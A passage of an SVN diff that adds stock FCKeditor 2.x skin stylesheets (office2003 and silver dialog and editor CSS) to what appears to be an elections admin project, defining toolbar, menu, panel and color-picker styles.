+}
+
+.TB_ToolbarSet
+{
+    border-top: #efefde 1px outset;
+    border-bottom: #efefde 1px outset;
+}
+
+.TB_ToolbarSet TD
+{
+    font-size: 11px;
+    font-family: 'Microsoft Sans Serif' , Tahoma, Arial, Verdana, Sans-Serif;
+}
+
+.TB_Toolbar
+{
+    display: inline-table;	/* inline = Opera jumping buttons bug */
+}
+
+.TB_Separator
+{
+    width: 1px;
+    height: 16px;
+    margin: 2px;
+    background-color: #999966;
+}
+
+.TB_Start
+{
+    background-image: url(images/toolbar.start.gif);
+    margin: 2px;
+    width: 3px;
+    background-repeat: no-repeat;
+    height: 16px;
+}
+
+.TB_End
+{
+    display: none;
+}
+
+.TB_ExpandImg
+{
+    background-image: url(images/toolbar.expand.gif);
+    background-repeat: no-repeat;
+}
+
+.TB_CollapseImg
+{
+    background-image: url(images/toolbar.collapse.gif);
+    background-repeat: no-repeat;
+}
+
+.TB_SideBorder
+{
+    background-color: #696969;
+}
+
+.TB_Expand, .TB_Collapse
+{
+    padding: 2px 2px 2px 2px;
+    border: #efefde 1px outset;
+}
+
+.TB_Collapse
+{
+    width: 5px;
+}
+
+.TB_Break
+{
+    height: 24px; /* IE needs the height to be set, otherwise no break */
+}
+
+/*
+	Toolbar Button
+*/
+
+.TB_Button_On, .TB_Button_Off, .TB_Button_On_Over, .TB_Button_Off_Over, .TB_Button_Disabled
+{
+    border: #efefde 1px solid; /* This is the default border */
+    height: 22px; /* The height is necessary, otherwise IE will not apply the alpha */
+}
+
+.TB_Button_On
+{
+    border: #316ac5 1px solid;
+    background-color: #c1d2ee;
+}
+
+.TB_Button_On_Over, .TB_Button_Off_Over
+{
+    border: #316ac5 1px solid;
+    background-color: #dff1ff;
+}
+
+.TB_Button_Off
+{
+    filter: alpha(opacity=70); /* IE */
+    opacity: 0.70; /* Safari, Opera and Mozilla */
+}
+
+.TB_Button_Disabled
+{
+    filter: gray() alpha(opacity=30); /* IE */
+    opacity: 0.30; /* Safari, Opera and Mozilla */
+}
+
+.TB_Button_Padding
+{
+    visibility: hidden;
+    width: 3px;
+    height: 22px;
+}
+
+.TB_Button_Image
+{
+    overflow: hidden;
+    width: 16px;
+    height: 16px;
+    margin: 3px;
+    background-repeat: no-repeat;
+}
+
+.TB_Button_Image img
+{
+    position: relative;
+}
+
+.TB_Button_Off .TB_Button_Text
+{
+   	background-color: #efefde;  /* Needed because of a bug on Clear Type */
+}
+
+.TB_ConnectionLine
+{
+    background-color: #ffffff;
+    height: 1px;
+    margin-left: 1px;   /* ltr */
+    margin-right: 1px;  /* rtl */
+}
+
+.TB_Text
+{
+	height: 22px;
+}
+
+.TB_Button_Off .TB_Text
+{
+   	background-color: #efefde ;  /* Needed because of a bug on ClearType */
+}
+
+.TB_Button_On_Over .TB_Text
+{
+   	background-color: #dff1ff ;  /* Needed because of a bug on ClearType */
+}
+
+/*
+	Menu
+*/
+
+.MN_Menu
+{
+    border: 1px solid #8f8f73;
+    padding: 2px;
+    background-color: #ffffff;
+    cursor: default;
+}
+
+.MN_Menu, .MN_Menu .MN_Label
+{
+    font-size: 11px;
+    font-family: 'Microsoft Sans Serif' , Tahoma, Arial, Verdana, Sans-Serif;
+}
+
+.MN_Item_Padding
+{
+    visibility: hidden;
+    width: 3px;
+    height: 20px;
+}
+
+.MN_Icon
+{
+    background-color: #e3e3c7;
+    text-align: center;
+    height: 20px;
+}
+
+.MN_Label
+{
+    padding-left: 3px;
+    padding-right: 3px;
+}
+
+.MN_Separator
+{
+    height: 3px;
+}
+
+.MN_Separator_Line
+{
+    border-top: #b9b99d 1px solid;
+}
+
+.MN_Item .MN_Icon IMG
+{
+    filter: alpha(opacity=70);
+    opacity: 0.70;
+}
+
+.MN_Item_Over
+{
+    color: #ffffff;
+    background-color: #8f8f73;
+}
+
+.MN_Item_Over .MN_Icon
+{
+    background-color: #737357;
+}
+
+.MN_Item_Disabled IMG
+{
+    filter: gray() alpha(opacity=30); /* IE */
+    opacity: 0.30; /* Safari, Opera and Mozilla */
+}
+
+.MN_Item_Disabled .MN_Label
+{
+    color: #b7b7b7;
+}
+
+.MN_Arrow
+{
+    padding-right: 3px;
+    padding-left: 3px;
+}
+
+.MN_ConnectionLine
+{
+    background-color: #ffffff;
+}
+
+.Menu .TB_Button_On, .Menu .TB_Button_On_Over
+{
+    border: #8f8f73 1px solid;
+    background-color: #ffffff;
+}
+
+/*
+	### Panel Styles
+*/
+
+.FCK_Panel
+{
+    border: #8f8f73 1px solid;
+    padding: 2px;
+    background-color: #ffffff;
+}
+
+.FCK_Panel, .FCK_Panel TD
+{
+    font-family: 'Microsoft Sans Serif' , Tahoma, Arial, Verdana, Sans-Serif;
+    font-size: 11px;
+}
+
+/*
+	### Special Combos
+*/
+
+.SC_Panel
+{
+    overflow: auto;
+    white-space: nowrap;
+    cursor: default;
+    border: 1px solid #8f8f73;
+    padding-left: 2px;
+    padding-right: 2px;
+    background-color: #ffffff;
+}
+
+.SC_Panel, .SC_Panel TD
+{
+    font-size: 11px;
+    font-family: 'Microsoft Sans Serif' , Tahoma, Arial, Verdana, Sans-Serif;
+}
+
+.SC_Item, .SC_ItemSelected
+{
+    margin-top: 2px;
+    margin-bottom: 2px;
+    background-position: left center;
+    padding-left: 11px;
+    padding-right: 3px;
+    padding-top: 2px;
+    padding-bottom: 2px;
+    text-overflow: ellipsis;
+    overflow: hidden;
+    background-repeat: no-repeat;
+    border: #dddddd 1px solid;
+}
+
+.SC_Item *, .SC_ItemSelected *
+{
+    margin-top: 0px;
+    margin-bottom: 0px;
+}
+
+.SC_ItemSelected
+{
+    border: #9a9afb 1px solid;
+    background-image: url(images/toolbar.arrowright.gif);
+}
+
+.SC_ItemOver
+{
+    border: #316ac5 1px solid;
+}
+
+.SC_Field
+{
+    border: #b7b7a6 1px solid;
+    cursor: default;
+}
+
+.SC_FieldCaption
+{
+    overflow: visible;
+    padding-right: 5px;
+    padding-left: 5px;
+    opacity: 0.75; /* Safari, Opera and Mozilla */
+    filter: alpha(opacity=70); /* IE */ /* -moz-opacity: 0.75; Mozilla (Old) */
+    height: 23px;
+    background-color: #efefde;
+}
+
+.SC_FieldLabel
+{
+    white-space: nowrap;
+    padding: 2px;
+    width: 100%;
+    cursor: default;
+    background-color: #ffffff;
+    text-overflow: ellipsis;
+    overflow: hidden;
+}
+
+.SC_FieldButton
+{
+    background-position: center center;
+    background-image: url(images/toolbar.buttonarrow.gif);
+    border-left: #b7b7a6 1px solid;
+    width: 14px;
+    background-repeat: no-repeat;
+}
+
+.SC_FieldDisabled .SC_FieldButton, .SC_FieldDisabled .SC_FieldCaption
+{
+    opacity: 0.30; /* Safari, Opera and Mozilla */
+    filter: gray() alpha(opacity=30); /* IE */ /* -moz-opacity: 0.30; Mozilla (Old) */
+}
+
+.SC_FieldOver
+{
+    border: #316ac5 1px solid;
+}
+
+.SC_FieldOver .SC_FieldButton
+{
+    border-left: #316ac5 1px solid;
+}
+
+/*
+	### Color Selector Panel
+*/
+
+.ColorBoxBorder
+{
+    border: #808080 1px solid;
+    position: static;
+}
+
+.ColorBox
+{
+    font-size: 1px;
+    width: 10px;
+    position: static;
+    height: 10px;
+}
+
+.ColorDeselected, .ColorSelected
+{
+    cursor: default;
+}
+
+.ColorDeselected
+{
+    border: #ffffff 1px solid;
+    padding: 2px;
+    float: left;
+}
+
+.ColorSelected
+{
+    border: #330066 1px solid;
+    padding: 2px;
+    float: left;
+    background-color: #c4cdd6;
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/skins/office2003/fck_dialog.css
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/skins/office2003/fck_dialog.css	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/skins/office2003/fck_dialog.css	(revision 44)
@@ -0,0 +1,129 @@
+/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fck_dialog.css
+ * 	Styles used by the dialog boxes.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+body
+{
+	margin: 0px;
+	padding: 10px;
+	background-color: #f7f8fd;
+}
+
+body, td, input, select, textarea
+{
+	font-size: 11px;
+	font-family: 'Microsoft Sans Serif' , Arial, Helvetica, Verdana;
+}
+
+body, .BackColor
+{
+	background-color: #f7f8fd;
+}
+
+.PopupBody
+{
+	margin: 0px;
+	padding: 0px;
+}
+
+.PopupTitle
+{
+	font-weight: bold;
+	font-size: 14pt;
+	color: #0e3460;
+	background-color: #8cb2fd;
+	padding: 3px 10px 3px 10px;
+}
+
+.PopupButtons
+{
+	border-top: #466ca6 1px solid;
+	background-color: #8cb2fd;
+	padding: 7px 10px 7px 10px;
+}
+
+.Button
+{
+	border: #1c3460 1px solid;
+	color: #000a28;
+	background-color: #7096d3;
+}
+
+.DarkBackground
+{
+	background-color: #d7d79f;
+}
+
+.LightBackground
+{
+	background-color: #ffffbe;
+}
+
+.PopupTitleBorder
+{
+	border-bottom: #d5d59d 1px solid;
+}
+
+.PopupTabArea
+{
+	color: #0e3460;
+	background-color: #8cb2fd;
+}
+
+.PopupTabEmptyArea
+{
+	padding-left: 10px ;
+	border-bottom: #466ca6 1px solid;
+}
+
+.PopupTab, .PopupTabSelected
+{
+	border-right: #466ca6 1px solid;
+	border-top: #466ca6 1px solid;
+	border-left: #466ca6 1px solid;
+	padding-right: 5px;
+	padding-left: 5px;
+	padding-bottom: 3px;
+	padding-top: 3px;
+	color: #0e3460;
+}
+
+.PopupTab
+{
+	margin-top: 1px;
+	border-bottom: #466ca6 1px solid;
+	cursor: pointer;
+	cursor: hand;
+}
+
+.PopupTabSelected
+{
+	font-weight:bold;
+	cursor: default;
+	padding-top: 4px;
+	border-bottom: #f7f8fd 1px solid;
+	background-color: #f7f8fd;
+}
+
+.PopupSelectionBox
+{
+	border: #1e90ff 1px solid !important;
+	background-color: #add8e6 !important;
+	cursor: pointer;
+	cursor: hand;
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/skins/office2003/fck_editor.css
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/skins/office2003/fck_editor.css	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/skins/office2003/fck_editor.css	(revision 44)
@@ -0,0 +1,472 @@
+/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fck_editor.css
+ * 	Styles used by the editor IFRAME and Toolbar.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+/*
+	### Basic Editor IFRAME Styles.
+*/
+
+body
+{
+    padding: 1px 1px 1px 1px;
+    margin: 0px 0px 0px 0px;
+}
+
+#xEditingArea
+{
+    border: #696969 1px solid;
+}
+
+.SourceField
+{
+    padding: 5px;
+    margin: 0px;
+    font-family: Monospace;
+}
+
+/*
+	Toolbar
+*/
+
+.TB_ToolbarSet, .TB_Expand, .TB_Collapse
+{
+    cursor: default;
+    background-color: #f7f8fd;
+}
+
+.TB_ToolbarSet
+{
+    border-top: #f7f8fd 1px outset;
+    border-bottom: #f7f8fd 1px outset;
+}
+
+.TB_ToolbarSet TD
+{
+    font-size: 11px;
+    font-family: 'Microsoft Sans Serif' , Tahoma, Arial, Verdana, Sans-Serif;
+}
+
+.TB_Toolbar
+{
+   	background-color: #d6dff7;
+	background-image: url(images/toolbar.bg.gif);
+	background-repeat: repeat-x;
+    display: inline-table;
+}
+
+.TB_Separator
+{
+    width: 1px;
+    height: 16px;
+    margin: 2px;
+    background-color: #B2CBFF;
+}
+
+.TB_Start
+{
+    background-image: url(images/toolbar.start.gif);
+    background-repeat: no-repeat;
+    background-position: center center;
+    margin: 0px;
+    width: 7px;
+    height: 24px;
+}
+
+.TB_End
+{
+    background-image: url(images/toolbar.end.gif);
+    background-repeat: no-repeat;
+    background-position: center left;
+    height: 24px;
+    width: 12px;
+}
+
+.TB_ExpandImg
+{
+    background-image: url(images/toolbar.expand.gif);
+    background-repeat: no-repeat;
+}
+
+.TB_CollapseImg
+{
+    background-image: url(images/toolbar.collapse.gif);
+    background-repeat: no-repeat;
+}
+
+.TB_SideBorder
+{
+    background-color: #696969;
+}
+
+.TB_Expand, .TB_Collapse
+{
+    padding: 2px 2px 2px 2px;
+    border: #f7f8fd 1px outset;
+}
+
+.TB_Collapse
+{
+    width: 5px;
+}
+
+.TB_Break
+{
+    height: 24px; /* IE needs the height to be set, otherwise no break */
+}
+
+/*
+	Toolbar Button
+*/
+
+.TB_Button_On, .TB_Button_Off, .TB_Button_On_Over, .TB_Button_Off_Over, .TB_Button_Disabled
+{
+    margin: 1px;
+    height: 22px; /* The height is necessary, otherwise IE will not apply the alpha */
+}
+
+.TB_Button_On
+{
+    margin: 0px;
+    border: #316ac5 1px solid;
+    background-color: #c1d2ee;
+}
+
+.TB_Button_On_Over, .TB_Button_Off_Over
+{
+    margin: 0px ;
+    border: #316ac5 1px solid;
+    background-color: #dff1ff;
+}
+
+.TB_Button_Off
+{
+    filter: alpha(opacity=70); /* IE */
+    opacity: 0.70; /* Safari, Opera and Mozilla */
+}
+
+.TB_Button_Disabled
+{
+    filter: gray() alpha(opacity=30); /* IE */
+    opacity: 0.30; /* Safari, Opera and Mozilla */
+}
+
+.TB_Button_Padding
+{
+    visibility: hidden;
+    width: 3px;
+    height: 22px;
+}
+
+.TB_Button_Image
+{
+    overflow: hidden;
+    width: 16px;
+    height: 16px;
+    margin: 3px;
+    background-repeat: no-repeat;
+}
+
+.TB_Button_Image img
+{
+    position: relative;
+}
+
+.TB_Button_Off .TB_Button_Text
+{
+   	background-color: #d6dff7;  /* Needed because of a bug on ClearType */
+	background-image: url(images/toolbar.bg.gif);
+	background-repeat: repeat-x;
+}
+
+.TB_ConnectionLine
+{
+    background-color: #f7f8fd;
+    height: 1px;
+    margin-left: 1px;   /* ltr */
+    margin-right: 1px;  /* rtl */
+}
+
+.TB_Button_Off .TB_Text
+{
+   	background-color: #d6dff7;  /* Needed because of a bug on ClearType */
+	background-image: url(images/toolbar.bg.gif);
+	background-repeat: repeat-x;
+}
+
+.TB_Button_On_Over .TB_Text
+{
+   	background-color: #dff1ff ;  /* Needed because of a bug on ClearType */
+}
+
+/*
+	Menu
+*/
+
+.MN_Menu
+{
+    border: 1px solid #8f8f73;
+    padding: 2px;
+    background-color: #f7f8fd;
+    cursor: default;
+}
+
+.MN_Menu, .MN_Menu .MN_Label
+{
+    font-size: 11px;
+    font-family: 'Microsoft Sans Serif' , Tahoma, Arial, Verdana, Sans-Serif;
+}
+
+.MN_Item_Padding
+{
+    visibility: hidden;
+    width: 3px;
+    height: 20px;
+}
+
+.MN_Icon
+{
+    background-color: #d6dff7;
+    text-align: center;
+    height: 20px;
+}
+
+.MN_Label
+{
+    padding-left: 3px;
+    padding-right: 3px;
+}
+
+.MN_Separator
+{
+    height: 3px;
+}
+
+.MN_Separator_Line
+{
+    border-top: #b9b99d 1px solid;
+}
+
+.MN_Item .MN_Icon IMG
+{
+    filter: alpha(opacity=70);
+    opacity: 0.70;
+}
+
+.MN_Item_Over
+{
+    color: #ffffff;
+    background-color: #7096FA;
+}
+
+.MN_Item_Over .MN_Icon
+{
+    background-color: #466ca6;
+}
+
+.MN_Item_Disabled IMG
+{
+    filter: gray() alpha(opacity=30); /* IE */
+    opacity: 0.30; /* Safari, Opera and Mozilla */
+}
+
+.MN_Item_Disabled .MN_Label
+{
+    color: #b7b7b7;
+}
+
+.MN_Arrow
+{
+    padding-right: 3px;
+    padding-left: 3px;
+}
+
+.MN_ConnectionLine
+{
+    background-color: #f7f8fd;
+}
+
+.Menu .TB_Button_On, .Menu .TB_Button_On_Over
+{
+    border: #8f8f73 1px solid;
+    background-color: #f7f8fd;
+}
+
+/*
+	### Panel Styles
+*/
+
+.FCK_Panel
+{
+    border: #8f8f73 1px solid;
+    padding: 2px;
+    background-color: #f7f8fd;
+}
+
+.FCK_Panel, .FCK_Panel TD
+{
+    font-family: 'Microsoft Sans Serif' , Tahoma, Arial, Verdana, Sans-Serif;
+    font-size: 11px;
+}
+
+/*
+	### Special Combos
+*/
+
+.SC_Panel
+{
+    overflow: auto;
+    white-space: nowrap;
+    cursor: default;
+    border: 1px solid #8f8f73;
+    padding-left: 2px;
+    padding-right: 2px;
+    background-color: #ffffff;
+}
+
+.SC_Panel, .SC_Panel TD
+{
+    font-size: 11px;
+    font-family: 'Microsoft Sans Serif' , Tahoma, Arial, Verdana, Sans-Serif;
+}
+
+.SC_Item, .SC_ItemSelected
+{
+    margin-top: 2px;
+    margin-bottom: 2px;
+    background-position: left center;
+    padding-left: 11px;
+    padding-right: 3px;
+    padding-top: 2px;
+    padding-bottom: 2px;
+    text-overflow: ellipsis;
+    overflow: hidden;
+    background-repeat: no-repeat;
+    border: #dddddd 1px solid;
+}
+
+.SC_Item *, .SC_ItemSelected *
+{
+    margin-top: 0px;
+    margin-bottom: 0px;
+}
+
+.SC_ItemSelected
+{
+    border: #9a9afb 1px solid;
+    background-image: url(images/toolbar.arrowright.gif);
+}
+
+.SC_ItemOver
+{
+    border: #316ac5 1px solid;
+}
+
+.SC_Field
+{
+    margin-top: 2px ;
+    border: #b7b7a6 1px solid;
+    cursor: default;
+}
+
+.SC_FieldCaption
+{
+    overflow: visible;
+    padding-right: 5px;
+    padding-left: 5px;
+    opacity: 0.75; /* Safari, Opera and Mozilla */
+    filter: alpha(opacity=70); /* IE */ /* -moz-opacity: 0.75; Mozilla (Old) */
+    height: 23px;
+   	background-color: #d6dff7;  /* Needed because of a bug on ClearType */
+	background-image: url(images/toolbar.bg.gif);
+	background-repeat: repeat-x;
+/*    background-color:  inherit;     Maybe this is needed wait to check */
+}
+
+.SC_FieldLabel
+{
+    white-space: nowrap;
+    padding: 2px;
+    width: 100%;
+    cursor: default;
+    background-color: #ffffff;
+    text-overflow: ellipsis;
+    overflow: hidden;
+}
+
+.SC_FieldButton
+{
+    background-position: center center;
+    background-image: url(images/toolbar.buttonarrow.gif);
+    border-left: #b7b7a6 1px solid;
+    width: 14px;
+    background-repeat: no-repeat;
+}
+
+.SC_FieldDisabled .SC_FieldButton, .SC_FieldDisabled .SC_FieldCaption
+{
+    opacity: 0.30; /* Safari, Opera and Mozilla */
+    filter: gray() alpha(opacity=30); /* IE */ /* -moz-opacity: 0.30; Mozilla (Old) */
+}
+
+.SC_FieldOver
+{
+    border: #316ac5 1px solid;
+}
+
+.SC_FieldOver .SC_FieldButton
+{
+    border-left: #316ac5 1px solid;
+}
+
+/*
+	### Color Selector Panel
+*/
+
+.ColorBoxBorder
+{
+    border: #808080 1px solid;
+    position: static;
+}
+
+.ColorBox
+{
+    font-size: 1px;
+    width: 10px;
+    position: static;
+    height: 10px;
+}
+
+.ColorDeselected, .ColorSelected
+{
+    cursor: default;
+}
+
+.ColorDeselected
+{
+    border: #ffffff 1px solid;
+    padding: 2px;
+    float: left;
+}
+
+.ColorSelected
+{
+    border: #330066 1px solid;
+    padding: 2px;
+    float: left;
+    background-color: #c4cdd6;
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/skins/silver/fck_dialog.css
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/skins/silver/fck_dialog.css	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/skins/silver/fck_dialog.css	(revision 44)
@@ -0,0 +1,132 @@
+/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fck_dialog.css
+ * 	Styles used by the dialog boxes.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+body
+{
+	margin: 0px;
+	padding: 10px;
+	background-color: #f7f7f7;
+}
+
+body, td, input, select, textarea
+{
+	font-size: 11px;
+	font-family: 'Microsoft Sans Serif' , Arial, Helvetica, Verdana;
+}
+
+body, .BackColor
+{
+	background-color: #f7f7f7;
+}
+
+.PopupBody
+{
+	margin: 0px;
+	padding: 0px;
+}
+
+.PopupTitle
+{
+	padding-right: 10px;
+	padding-left: 10px;
+	font-weight: bold;
+	font-size: 14pt;
+	padding-bottom: 3px;
+	color: #504845;
+	padding-top: 3px;
+	background-color: #dedede;
+}
+
+.PopupButtons
+{
+	border-top: #cec6b5 1px solid;
+	background-color: #DEDEDE;
+	padding: 7px 10px 7px 10px;
+}
+
+.Button
+{
+	border: #7a7261 1px solid;
+	color: #504845;
+	background-color: #cec6b5;
+}
+
+.DarkBackground
+{
+	background-color: #d7d79f;
+}
+
+.LightBackground
+{
+	background-color: #ffffbe;
+}
+
+.PopupTitleBorder
+{
+	border-bottom: #cec6b5 1px solid;
+}
+
+.PopupTabArea
+{
+	color: #504845;
+	background-color: #DEDEDE;
+}
+
+.PopupTabEmptyArea
+{
+	padding-left: 10px ;
+	border-bottom: #cec6b5 1px solid;
+}
+
+.PopupTab, .PopupTabSelected
+{
+	border-right: #cec6b5 1px solid;
+	border-top: #cec6b5 1px solid;
+	border-left: #cec6b5 1px solid;
+	padding-right: 5px;
+	padding-left: 5px;
+	padding-bottom: 3px;
+	padding-top: 3px;
+	color: #504845;
+}
+
+.PopupTab
+{
+	margin-top: 1px;
+	border-bottom: #cec6b5 1px solid;
+	cursor: pointer;
+	cursor: hand;
+}
+
+.PopupTabSelected
+{
+	font-weight:bold;
+	cursor: default;
+	padding-top: 4px;
+	border-bottom: #f1f1e3 1px solid;
+	background-color: #f7f7f7;
+}
+
+.PopupSelectionBox
+{
+	border: #a9a9a9 1px solid !important;
+	background-color: #dcdcdc !important;
+	cursor: pointer;
+	cursor: hand;
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/skins/silver/fck_editor.css
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/skins/silver/fck_editor.css	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/skins/silver/fck_editor.css	(revision 44)
@@ -0,0 +1,470 @@
+/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fck_editor.css
+ * 	Styles used by the editor IFRAME and Toolbar.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ * 		gazou[Fr]
+ */
+
+/*
+	### Basic Editor IFRAME Styles.
+*/
+
+body
+{
+	padding: 1px 1px 1px 1px;
+	margin: 0px 0px 0px 0px;
+}
+
+#xEditingArea
+{
+	border: #696969 1px solid;
+}
+
+.SourceField
+{
+	padding: 5px;
+	margin: 0px;
+	font-family: Monospace;
+}
+
+/*
+	Toolbar
+*/
+
+.TB_ToolbarSet, .TB_Expand, .TB_Collapse
+{
+    cursor: default;
+	background-color: #f7f7f7;
+}
+
+.TB_ToolbarSet
+{
+	padding: 1px;
+	border-top: #efefde 1px outset;
+	border-bottom: #efefde 1px outset;
+}
+
+.TB_ToolbarSet TD
+{
+	font-size: 11px;
+	font-family: 'Microsoft Sans Serif' , Tahoma, Arial, Verdana, Sans-Serif;
+}
+
+.TB_Toolbar
+{
+    display: inline-table;
+}
+
+.TB_Separator
+{
+    width: 1px;
+    height: 21px;
+    margin: 2px;
+    background-color: #C6C3BD;
+}
+
+.TB_Start
+{
+    background-image: url(images/toolbar.start.gif);
+    margin-left: 2px;
+    margin-right: 2px;
+    width: 3px;
+    background-repeat: no-repeat;
+    height: 27px;
+    background-position: center center;
+}
+
+.TB_End
+{
+	display: none;
+}
+
+.TB_ExpandImg
+{
+	background-image: url(images/toolbar.expand.gif);
+	background-repeat: no-repeat;
+}
+
+.TB_CollapseImg
+{
+	background-image: url(images/toolbar.collapse.gif);
+	background-repeat: no-repeat;
+}
+
+.TB_SideBorder
+{
+	background-color: #696969;
+}
+
+.TB_Expand, .TB_Collapse
+{
+	padding: 2px 2px 2px 2px;
+	border: #efefde 1px outset;
+}
+
+.TB_Collapse
+{
+	border: #efefde 1px outset;
+	width: 5px;
+}
+
+.TB_Break
+{
+	height: 27px;
+}
+
+/*
+	Toolbar Button
+*/
+
+.TB_Button_On, .TB_Button_Off, .TB_Button_On_Over, .TB_Button_Off_Over, .TB_Button_Disabled
+{
+	padding: 1px ;
+	margin:1px;
+	height: 21px;
+}
+
+.TB_Button_On, .TB_Button_Off, .TB_Button_On_Over, .TB_Button_Off_Over, .TB_Button_Disabled
+{
+	border: #cec6b5 1px solid;
+}
+
+.TB_Button_On
+{
+	border-color: #316ac5;
+	background-color: #c1d2ee;
+}
+
+.TB_Button_On_Over, .TB_Button_Off_Over
+{
+    border: #316ac5 1px solid;
+    background-color: #dff1ff;
+}
+
+.TB_Button_Off
+{
+	background: #efefef url(images/toolbar.buttonbg.gif) repeat-x;
+}
+
+.TB_Button_Off, .TB_Combo_Off
+{
+	opacity: 0.70; /* Safari, Opera and Mozilla */
+	filter: alpha(opacity=70); /* IE */
+	/* -moz-opacity: 0.70; Mozilla (Old) */
+}
+
+.TB_Button_Disabled
+{
+    opacity: 0.30; /* Safari, Opera and Mozilla */
+    filter: gray() alpha(opacity=30); /* IE */
+}
+
+.TB_Button_Padding
+{
+    visibility: hidden;
+    width: 3px;
+    height: 21px;
+}
+
+.TB_Button_Image
+{
+    overflow: hidden;
+    width: 16px;
+    height: 16px;
+    margin: 3px;
+    margin-top: 4px;
+    margin-bottom: 2px;
+    background-repeat: no-repeat;
+}
+
+/* For composed button ( icon + text, icon + arrow ), we must compensate the table */
+.TB_Button_On TABLE .TB_Button_Image, 
+.TB_Button_Off TABLE .TB_Button_Image, 
+.TB_Button_On_Over TABLE .TB_Button_Image,
+.TB_Button_Off_Over TABLE .TB_Button_Image,
+.TB_Button_Disabled TABLE .TB_Button_Image
+{
+    margin-top: 3px;
+}
+
+.TB_Button_Image img
+{
+    position: relative;
+}
+
+.TB_ConnectionLine
+{
+    background-color: #ffffff;
+    height: 1px;
+    margin-left: 1px;   /* ltr */
+    margin-right: 1px;  /* rtl */
+}
+
+/*
+	Menu
+*/
+
+.MN_Menu
+{
+    border: 1px solid #8f8f73;
+    padding: 2px;
+    background-color: #f7f7f7;
+    cursor: default;
+}
+
+.MN_Menu, .MN_Menu .MN_Label
+{
+    font-size: 11px;
+    font-family: 'Microsoft Sans Serif' , Tahoma, Arial, Verdana, Sans-Serif;
+}
+
+.MN_Item_Padding
+{
+    visibility: hidden;
+    width: 3px;
+    height: 20px;
+}
+
+.MN_Icon
+{
+    background-color: #dedede;
+    text-align: center;
+    height: 20px;
+}
+
+.MN_Label
+{
+    padding-left: 3px;
+    padding-right: 3px;
+}
+
+.MN_Separator
+{
+    height: 3px;
+}
+
+.MN_Separator_Line
+{
+    border-top: #b9b99d 1px solid;
+}
+
+.MN_Item .MN_Icon IMG
+{
+    filter: alpha(opacity=70);
+    opacity: 0.70;
+}
+
+.MN_Item_Over
+{
+    color: #ffffff;
+    background-color: #8a857d;
+}
+
+.MN_Item_Over .MN_Icon
+{
+    background-color: #6c6761;
+}
+
+.MN_Item_Disabled IMG
+{
+    filter: gray() alpha(opacity=30); /* IE */
+    opacity: 0.30; /* Safari, Opera and Mozilla */
+}
+
+.MN_Item_Disabled .MN_Label
+{
+    color: #b7b7b7;
+}
+
+.MN_Arrow
+{
+    padding-right: 3px;
+    padding-left: 3px;
+}
+
+.MN_ConnectionLine
+{
+    background-color: #ffffff;
+}
+
+.Menu .TB_Button_On, .Menu .TB_Button_On_Over
+{
+    border: #8f8f73 1px solid;
+    background-color: #ffffff;
+}
+
+/*
+	### Panel Styles
+*/
+
+.FCK_Panel
+{
+    border: #8f8f73 1px solid;
+    padding: 2px;
+    background-color: #ffffff;
+}
+
+.FCK_Panel, .FCK_Panel TD
+{
+    font-family: 'Microsoft Sans Serif' , Tahoma, Arial, Verdana, Sans-Serif;
+    font-size: 11px;
+}
+
+/*
+	### Special Combos
+*/
+
+.SC_Panel
+{
+    overflow: auto;
+    white-space: nowrap;
+    cursor: default;
+    border: 1px solid #8f8f73;
+    padding-left: 2px;
+    padding-right: 2px;
+    background-color: #ffffff;
+}
+
+.SC_Panel, .SC_Panel TD
+{
+    font-size: 11px;
+    font-family: 'Microsoft Sans Serif' , Tahoma, Arial, Verdana, Sans-Serif;
+}
+
+.SC_Item, .SC_ItemSelected
+{
+    margin-top: 2px;
+    margin-bottom: 2px;
+    background-position: left center;
+    padding-left: 11px;
+    padding-right: 3px;
+    padding-top: 2px;
+    padding-bottom: 2px;
+    text-overflow: ellipsis;
+    overflow: hidden;
+    background-repeat: no-repeat;
+    border: #dddddd 1px solid;
+}
+
+.SC_Item *, .SC_ItemSelected *
+{
+    margin-top: 0px;
+    margin-bottom: 0px;
